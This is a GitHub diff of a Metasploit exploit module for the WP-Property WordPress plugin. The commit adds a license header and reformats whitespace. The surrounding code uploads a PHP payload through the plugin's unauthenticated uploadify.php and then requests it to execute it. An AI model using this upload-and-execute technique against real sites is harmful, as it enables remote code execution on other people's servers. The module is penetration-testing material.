File tree Expand file tree Collapse file tree 1 file changed +16
-8
lines changed
modules/exploits/unix/webapp Expand file tree Collapse file tree 1 file changed +16
-8
lines changed Original file line number Diff line number Diff line change
1
+ ##
2
+ # This file is part of the Metasploit Framework and may be subject to
3
+ # redistribution and commercial restrictions. Please see the Metasploit
4
+ # Framework web site for more information on licensing and terms of use.
5
+ # http://metasploit.com/framework/
6
+ ##
7
+
8
+
1
9
require 'msf/core'
2
10
require 'msf/core/exploit/php_exe'
3
11
@@ -53,8 +61,8 @@ def check
53
61
uri << '/' if uri [ -1 , 1 ] != '/'
54
62
55
63
res = send_request_cgi ( {
56
- 'method' => 'GET' ,
57
- 'uri' => "#{ uri } wp-content/plugins/wp-property/third-party/uploadify/uploadify.php"
64
+ 'method' => 'GET' ,
65
+ 'uri' => "#{ uri } wp-content/plugins/wp-property/third-party/uploadify/uploadify.php"
58
66
} )
59
67
60
68
if not res or res . code != 200
@@ -80,10 +88,10 @@ def exploit
80
88
81
89
print_status ( "#{ peer } - Uploading payload #{ @payload_name } " )
82
90
res = send_request_cgi ( {
83
- 'method' => 'POST' ,
84
- 'uri' => "#{ uri } wp-content/plugins/wp-property/third-party/uploadify/uploadify.php" ,
85
- 'ctype' => "multipart/form-data; boundary=#{ data . bound } " ,
86
- 'data' => post_data
91
+ 'method' => 'POST' ,
92
+ 'uri' => "#{ uri } wp-content/plugins/wp-property/third-party/uploadify/uploadify.php" ,
93
+ 'ctype' => "multipart/form-data; boundary=#{ data . bound } " ,
94
+ 'data' => post_data
87
95
} )
88
96
89
97
if not res or res . code != 200 or res . body !~ /#{ @payload_name } /
@@ -94,8 +102,8 @@ def exploit
94
102
95
103
print_status ( "#{ peer } - Executing payload #{ @payload_name } " )
96
104
res = send_request_raw ( {
97
- 'uri' => upload_uri ,
98
- 'method' => 'GET'
105
+ 'uri' => upload_uri ,
106
+ 'method' => 'GET'
99
107
} )
100
108
end
101
109
end
You can’t perform that action at this time.
0 commit comments